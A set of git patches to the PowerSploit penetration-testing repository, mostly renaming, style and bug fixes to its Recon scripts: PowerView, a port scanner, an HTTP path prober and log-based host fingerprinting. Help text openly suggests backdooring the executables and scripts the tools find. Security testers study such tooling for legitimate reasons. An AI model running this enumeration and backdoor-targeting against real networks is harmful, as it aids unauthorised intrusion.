@@ Github repo: https://github.com/clymb3r/PowerShell } -function Find-AppLockerLogs +function Find-AppLockerLog { <# .SYNOPSIS Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). -Function: Find-AppLockerLogs -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None +Function: Find-AppLockerLog +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -380,7 +380,7 @@ Look through the AppLocker logs to find processes that get run on the server. Yo .EXAMPLE -Find-AppLockerLogs +Find-AppLockerLog Find process creations from AppLocker logs. .NOTES @@ -390,9 +390,10 @@ Find process creations from AppLocker logs. Blog: http://clymb3r.wordpress.com/ Github repo: https://github.com/clymb3r/PowerShell #> + $ReturnInfo = @{} - $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002} + $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 8002} foreach ($Log in $AppLockerLogs) { @@ -434,10 +435,10 @@ Function Find-PSScriptsInPSAppLog Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). You can then backdoor these scripts or do other malicious things. -Function: Find-AppLockerLogs -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None +Function: Find-AppLockerLog +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -456,12 +457,12 @@ Find unique PowerShell scripts being executed from the PowerShell operational lo Blog: http://clymb3r.wordpress.com/ Github repo: https://github.com/clymb3r/PowerShell #> + $ReturnInfo = @{} - $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100} + $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 4100} foreach ($Log in $Logs) { - $ContainsScriptName = $false $LogDetails = $Log.Message -split "`r`n" $FoundScriptName = $false @@ -506,27 +507,26 @@ Github repo: https://github.com/clymb3r/PowerShell } -Function Find-RDPClientConnections +Function Find-RDPClientConnection { <# .SYNOPSIS -Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user usually RDP's to. -Function: Find-RDPClientConnections -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None +Function: Find-RDPClientConnection +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION -Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user -usually RDP's to. +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user usually RDP's to. .EXAMPLE -Find-RDPClientConnections +Find-RDPClientConnection Find unique saved RDP client connections. .NOTES @@ -550,7 +550,7 @@ Github repo: https://github.com/clymb3r/PowerShell { $Server = $Server.PSChildName $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint - + $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint if (!$ReturnInfo.ContainsKey($Key)) diff --git a/Recon/Get-HttpStatus.ps1 b/Recon/Get-HttpStatus.ps1 index 8b60306d..b271efde 100644 --- a/Recon/Get-HttpStatus.ps1 +++ b/Recon/Get-HttpStatus.ps1 @@ -5,11 +5,11 @@ function Get-HttpStatus Returns the HTTP Status Codes and full URL for specified paths. -PowerSploit Function: Get-HttpStatus -Author: Chris Campbell (@obscuresec) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Get-HttpStatus +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -42,7 +42,7 @@ C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL .NOTES HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error - + .LINK http://obscuresecurity.blogspot.com @@ -64,49 +64,54 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html [Switch] $UseSSL ) - + if (Test-Path $Path) { - + if ($UseSSL -and $Port -eq 0) { # Default to 443 if SSL is specified but no port is specified $Port = 443 - } elseif ($Port -eq 0) { + } + elseif ($Port -eq 0) { # Default to port 80 if no port is specified $Port = 80 } - + $TcpConnection = New-Object System.Net.Sockets.TcpClient Write-Verbose "Path Test Succeeded - Testing Connectivity" - + try { # Validate that the host is listening before scanning $TcpConnection.Connect($Target, $Port) - } catch { + } + catch { Write-Error "Connection Test Failed - Check Target" $Tcpconnection.Close() - Return + Return } - + $Tcpconnection.Close() - } else { + } + else { Write-Error "Path Test Failed - Check Dictionary Path" Return } - + if ($UseSSL) { $SSL = 's' # Ignore invalid SSL certificates [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True } - } else { + } + else { $SSL = '' } - + if (($Port -eq 80) -or ($Port -eq 443)) { $PortNum = '' - } else { + } + else { $PortNum = ":$Port" } - + # Check Http status for each entry in the doctionary file foreach ($Item in Get-Content $Path) { @@ -117,24 +122,23 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html $WebRequest = [System.Net.WebRequest]::Create($URI) $WebResponse = $WebRequest.GetResponse() $WebStatus = $WebResponse.StatusCode - $ResultObject += $ScanObject $WebResponse.Close() - } catch { + } + catch { $WebStatus = $Error[0].Exception.InnerException.Response.StatusCode - - if ($WebStatus -eq $null) { + + if (-not $WebStatus) { # Not every exception returns a StatusCode. # If that is the case, return the Status. $WebStatus = $Error[0].Exception.InnerException.Status } - } - + } + $Result = @{ Status = $WebStatus; URL = $WebTarget} - + $ScanObject = New-Object -TypeName PSObject -Property $Result - + Write-Output $ScanObject - } } diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 6f059e25..7e28709c 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -5,11 +5,11 @@ function Invoke-Portscan Simple portscan module -PowerSploit Function: Invoke-Portscan -Author: Rich Lundeen (http://webstersProdigy.net) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -114,7 +114,7 @@ Force Overwrite if output Files exist. Otherwise it throws exception .EXAMPLE -C:\PS> Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 +Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 Description ----------- @@ -122,7 +122,7 @@ Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and m .EXAMPLE -C:\PS> echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" +echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" Description ----------- @@ -130,7 +130,7 @@ Does a portscan of "webstersprodigy.net", and writes a greppable output file .EXAMPLE -C:\PS> Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet +Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet Description ----------- @@ -141,7 +141,13 @@ Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all http://webstersprodigy.net #> - [CmdletBinding()]Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseLiteralInitializerForHashtable', '')] + [CmdletBinding()] + Param ( #Host, Ports [Parameter(ParameterSetName="cmdHosts", @@ -748,9 +754,9 @@ http://webstersprodigy.net #TODO deal with output Write-PortscanOut -comment $startMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream - #converting back from int array gives some argument error checking - $sPortList = [string]::join(",", $portList) - $sHostPortList = [string]::join(",", $hostPortList) + # #converting back from int array gives some argument error checking + # $sPortList = [string]::join(",", $portList) + # $sHostPortList = [string]::join(",", $hostPortList) ######## #Port Scan Code - run on a per host basis @@ -840,7 +846,6 @@ http://webstersprodigy.net $sockets[$p] = new-object System.Net.Sockets.TcpClient } - $scriptBlockAsString = @" #somewhat of a race condition with the timeout, but I don't think it matters @@ -885,8 +890,7 @@ http://webstersprodigy.net $timeouts[$p].Enabled = $true $myscriptblock = [scriptblock]::Create($scriptBlockAsString) - $x = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null) - + $Null = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null) } function PortScan-Alive diff --git a/Recon/Invoke-ReverseDnsLookup.ps1 b/Recon/Invoke-ReverseDnsLookup.ps1 index 5e811eed..36e63987 100644 --- a/Recon/Invoke-ReverseDnsLookup.ps1 +++ b/Recon/Invoke-ReverseDnsLookup.ps1 @@ -5,23 +5,23 @@ function Invoke-ReverseDnsLookup Perform a reverse DNS lookup scan on a range of IP addresses. -PowerSploit Function: Invoke-ReverseDnsLookup -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Invoke-ReverseDnsLookup +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION -Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test. - +Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. + .PARAMETER IPRange Specifies the IP address range. The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. Comma-delimited ranges may can be provided. - + .EXAMPLE -C:\PS> Invoke-ReverseDnsLookup 74.125.228.0/29 +Invoke-ReverseDnsLookup 74.125.228.0/29 IP HostName -- -------- @@ -31,29 +31,29 @@ IP HostName 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the CIDR range. - + .EXAMPLE -C:\PS> Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' - +Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' + IP HostName -- -------- 74.125.228.1 iad23s05-in-f1.1e100.net 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the IP range specified. .EXAMPLE -PS C:\> Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup +Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup IP HostName -- -------- @@ -69,13 +69,15 @@ Description ----------- Returns the hostnames of the IP addresses piped from another source. - .LINK http://www.exploit-monday.com https://github.com/mattifestation/PowerSploit #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [CmdletBinding()] Param ( [Parameter(Position = 0, Mandatory = $True,ValueFromPipeline=$True)] [String] @@ -83,14 +85,14 @@ https://github.com/mattifestation/PowerSploit ) BEGIN { - + function Parse-IPList ([String] $IpRange) { - + function IPtoInt { Param([String] $IpString) - + $Hexstr = "" $Octets = $IpString.Split(".") foreach ($Octet in $Octets) { @@ -98,7 +100,7 @@ https://github.com/mattifestation/PowerSploit } return [Convert]::ToInt64($Hexstr, 16) } - + function InttoIP { Param([Int64] $IpInt) @@ -110,15 +112,15 @@ https://github.com/mattifestation/PowerSploit } return $IpStr.TrimEnd('.') } - + $Ip = [System.Net.IPAddress]::Parse("127.0.0.1") - + foreach ($Str in $IpRange.Split(",")) { $Item = $Str.Trim() $Result = "" $IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" - + # First, validate the input switch -regex ($Item) { @@ -139,11 +141,11 @@ https://github.com/mattifestation/PowerSploit } default { - Write-Warning "Inproper input" + Write-Warning "Improper input" return } } - + #Now, start processing the IP addresses switch ($Result) { @@ -152,14 +154,14 @@ https://github.com/mattifestation/PowerSploit $CidrRange = $Item.Split("/") $Network = $CidrRange[0] $Mask = $CidrRange[1] - + if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return} if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return} - + $BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0') #Generate lower limit (Excluding network address) $Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1" - #Generate upperr limit (Excluding broadcast address) + #Generate upper limit (Excluding broadcast address) $Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0" $LowerInt = [Convert]::ToInt64($Lower, 2) $UpperInt = [Convert]::ToInt64($Upper, 2) @@ -168,21 +170,21 @@ https://github.com/mattifestation/PowerSploit "range" { $Range = $item.Split("-") - + if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip } else { Write-Warning "Invalid IP address supplied!"; return } - + if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip } else { Write-Warning "Invalid IP address supplied!"; return } - + $Left = (IPtoInt $Temp1.ToString()) $Right = (IPtoInt $Temp2.ToString()) - + if ($Right -gt $Left) { for ($i = $Left; $i -le $Right; $i++) { InttoIP $i } } else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return} - + break } "single" @@ -193,28 +195,30 @@ https://github.com/mattifestation/PowerSploit } default { - Write-Warning "An error occured." + Write-Warning "An error occurred." return } } } - } } - + PROCESS { Parse-IPList $IpRange | ForEach-Object { try { Write-Verbose "Resolving $_" $Temp = [System.Net.Dns]::GetHostEntry($_) - + $Result = @{ IP = $_ HostName = $Temp.HostName } - + New-Object PSObject -Property $Result - } catch [System.Net.Sockets.SocketException] {} + } + catch [System.Net.Sockets.SocketException] { + Write-Verbose "Error: $_" + } } } } diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index eecf62f0..49ee9c70 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -859,7 +859,7 @@ function Export-PowerViewCSV { <# .SYNOPSIS -Converts objects into a series of comma-separated (CSV) strings and saves the +Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file in a thread-safe manner. Author: Will Schroeder (@harmj0y) diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 71667c08..d0a4148b 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -98,7 +98,7 @@ FunctionsToExport = @( 'Get-DomainForeignUser', 'Get-DomainForeignGroupMember', 'Get-DomainTrustMapping', - 'Get-ComputerDetails', + 'Get-ComputerDetail', 'Get-HttpStatus', 'Invoke-Portscan', 'Invoke-ReverseDnsLookup' diff --git a/docs/Recon/Export-PowerViewCSV.md b/docs/Recon/Export-PowerViewCSV.md index 15972497..d2d2a89f 100755 --- a/docs/Recon/Export-PowerViewCSV.md +++ b/docs/Recon/Export-PowerViewCSV.md @@ -1,7 +1,7 @@ # Export-PowerViewCSV ## SYNOPSIS -Converts objects into a series of comma-separated (CSV) strings and saves the +Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file in a thread-safe manner. Author: Will Schroeder (@harmj0y) diff --git a/docs/Recon/Get-ComputerDetails.md b/docs/Recon/Get-ComputerDetail.md similarity index 84% rename from docs/Recon/Get-ComputerDetails.md rename to docs/Recon/Get-ComputerDetail.md index 6bc3e91d..15a3feb5 100755 --- a/docs/Recon/Get-ComputerDetails.md +++ b/docs/Recon/Get-ComputerDetail.md @@ -1,17 +1,17 @@ -# Get-ComputerDetails +# Get-ComputerDetail ## SYNOPSIS This script is used to get useful information from a computer. -Function: Get-ComputerDetails -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None +Function: Get-ComputerDetail +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None Optional Dependencies: None ## SYNTAX ``` -Get-ComputerDetails [-ToString] +Get-ComputerDetail [-ToString] ``` ## DESCRIPTION @@ -27,12 +27,12 @@ Currently, the script gets the following information: ### -------------------------- EXAMPLE 1 -------------------------- ``` -Get-ComputerDetails +Get-ComputerDetail ``` Gets information about the computer and outputs it as PowerShell objects. -Get-ComputerDetails -ToString +Get-ComputerDetail -ToString Gets information about the computer and outputs it as raw text. ## PARAMETERS @@ -57,7 +57,7 @@ Accept wildcard characters: False ## OUTPUTS ## NOTES -This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. ## RELATED LINKS diff --git a/docs/Recon/Get-HttpStatus.md b/docs/Recon/Get-HttpStatus.md index a8a7dbb3..43119830 100755 --- a/docs/Recon/Get-HttpStatus.md +++ b/docs/Recon/Get-HttpStatus.md @@ -3,10 +3,10 @@ ## SYNOPSIS Returns the HTTP Status Codes and full URL for specified paths. -PowerSploit Function: Get-HttpStatus -Author: Chris Campbell (@obscuresec) -License: BSD 3-Clause -Required Dependencies: None +PowerSploit Function: Get-HttpStatus +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None Optional Dependencies: None ## SYNTAX diff --git a/docs/Recon/Invoke-Portscan.md b/docs/Recon/Invoke-Portscan.md index 49d9e327..8e1ef273 100755 --- a/docs/Recon/Invoke-Portscan.md +++ b/docs/Recon/Invoke-Portscan.md @@ -3,10 +3,10 @@ ## SYNOPSIS Simple portscan module -PowerSploit Function: Invoke-Portscan -Author: Rich Lundeen (http://webstersProdigy.net) -License: BSD 3-Clause -Required Dependencies: None +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None Optional Dependencies: None ## SYNTAX diff --git a/docs/Recon/Invoke-ReverseDnsLookup.md b/docs/Recon/Invoke-ReverseDnsLookup.md index 348ad91b..2c74e3c6 100755 --- a/docs/Recon/Invoke-ReverseDnsLookup.md +++ b/docs/Recon/Invoke-ReverseDnsLookup.md @@ -3,10 +3,10 @@ ## SYNOPSIS Perform a reverse DNS lookup scan on a range of IP addresses. -PowerSploit Function: Invoke-ReverseDnsLookup -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None +PowerSploit Function: Invoke-ReverseDnsLookup +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None Optional Dependencies: None ## SYNTAX @@ -17,7 +17,7 @@ Invoke-ReverseDnsLookup [-IpRange] ## DESCRIPTION Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. -This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test. +This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. ## EXAMPLES @@ -34,7 +34,7 @@ IP HostName 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the CIDR range. @@ -50,7 +50,7 @@ IP HostName 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the IP range specified. diff --git a/docs/Recon/Set-DomainObject.md b/docs/Recon/Set-DomainObject.md index 482d86dd..8cb283b0 100755 --- a/docs/Recon/Set-DomainObject.md +++ b/docs/Recon/Set-DomainObject.md @@ -12,8 +12,7 @@ Required Dependencies: Get-DomainObject ``` Set-DomainObject [[-Identity] ] [-Set ] [-XOR ] [-Clear ] [-Domain ] [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] - [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] - [-Credential ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] ``` ## DESCRIPTION @@ -281,21 +280,6 @@ Accept pipeline input: False Accept wildcard characters: False ``` -### -SecurityMasks -{{Fill SecurityMasks Description}} - -```yaml -Type: String -Parameter Sets: (All) -Aliases: - -Required: False -Position: Named -Default value: None -Accept pipeline input: False -Accept wildcard characters: False -``` - ### -Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. @@ -332,14 +316,6 @@ Accept wildcard characters: False ## OUTPUTS -### PowerView.ADObject - -Custom PSObject with translated AD object property fields, if -PassThru is enabled. - -PowerView.ADObject.Raw - -The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled. - ## NOTES ## RELATED LINKS diff --git a/docs/Recon/index.md b/docs/Recon/index.md old mode 100644 new mode 100755 diff --git a/mkdocs.yml b/mkdocs.yml index a24f7e4a..f4a06080 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -81,7 +81,7 @@ pages: - Get-DomainForeignUser: 'Recon/Get-DomainForeignUser.md' - Get-DomainForeignGroupMember: 'Recon/Get-DomainForeignGroupMember.md' - Get-DomainTrustMapping: 'Recon/Get-DomainTrustMapping.md' - - Get-ComputerDetails: 'Recon/Get-ComputerDetails.md' + - Get-ComputerDetail: 'Recon/Get-ComputerDetail.md' - Get-HttpStatus: 'Recon/Get-HttpStatus.md' - Invoke-Portscan: 'Recon/Invoke-Portscan.md' - Invoke-ReverseDnsLookup: 'Recon/Invoke-ReverseDnsLookup.md' From 601ad0cf3f46c6a02e4642850c21af74414c811a Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Thu, 15 Dec 2016 12:32:17 -0500 Subject: [PATCH 226/296] Logic bug fix in Get-DomainFileServer -Domain bug fix in Find-DomainUserLocation stealth --- Recon/PowerView.ps1 | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 49ee9c70..79c25280 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -9828,12 +9828,12 @@ One or more strings representing file server names. $SearcherArguments['Domain'] = $TargetDomain $UserSearcher = Get-DomainSearcher @SearcherArguments # get all results w/o the pipeline and uniquify them (I know it's not pretty) - Sort-Object -Unique -InputObject $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique } } else { $UserSearcher = Get-DomainSearcher @SearcherArguments - Sort-Object -Unique -InputObject $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique } } } @@ -14796,10 +14796,11 @@ PowerView.UserLocation if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + $TargetComputers = @() # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { - $TargetComputers = $ComputerName + $TargetComputers = @($ComputerName) } else { if ($PSBoundParameters['Stealth']) { @@ -14809,6 +14810,7 @@ PowerView.UserLocation if ($StealthSource -match 'File|All') { Write-Verbose '[Find-DomainUserLocation] Querying for file servers' $FileServerSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } @@ -14831,6 +14833,7 @@ PowerView.UserLocation $DCSearcherArguments = @{ 'LDAP' = $True } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } From 831dde1268156d0f73f013aacc87c3216b4b7be7 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Thu, 15 Dec 2016 12:45:18 -0500 Subject: [PATCH 227/296] Bug fix for the Find-DomainUserLocation bug fix :) --- Recon/PowerView.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 79c25280..c86f90b4 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -14366,6 +14366,7 @@ function New-ThreadedFunction { } $Jobs = @() + $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" # partition all hosts from -ComputerName into $Threads number of groups @@ -14810,7 +14811,7 @@ PowerView.UserLocation if ($StealthSource -match 'File|All') { Write-Verbose '[Find-DomainUserLocation] Querying for file servers' $FileServerSearcherArguments = @{} - if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } @@ -14833,7 +14834,7 @@ PowerView.UserLocation $DCSearcherArguments = @{ 'LDAP' = $True } - if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } From 98539005781d96be19f8d6820078383410bbe16a Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Thu, 15 Dec 2016 19:04:53 -0500 Subject: [PATCH 228/296] Type fix. Added -TrustedToAuth to Get-DomainUser --- Recon/PowerView.ps1 | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c86f90b4..b50c647a 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4423,7 +4423,7 @@ Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects -matching the criteria. To only return specific properies, use +matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all user objects for the current domain are returned. @@ -4449,6 +4449,10 @@ Switch. Return user accounts that are not marked as 'sensitive and not allowed f Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' +.PARAMETER TrustedToAuth + +Switch. Return computer objects that are trusted to authenticate for other principals. + .PARAMETER KerberosPreuthNotRequired Switch. Return user accounts with "Do not require Kerberos preauthentication" set. @@ -4603,6 +4607,9 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $DisallowDelegation, + [Switch] + $TrustedToAuth, + [Switch] $KerberosPreuthNotRequired, @@ -4731,6 +4738,10 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for adminCount=1' $Filter += '(admincount=1)' } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } if ($PSBoundParameters['KerberosPreuthNotRequired']) { 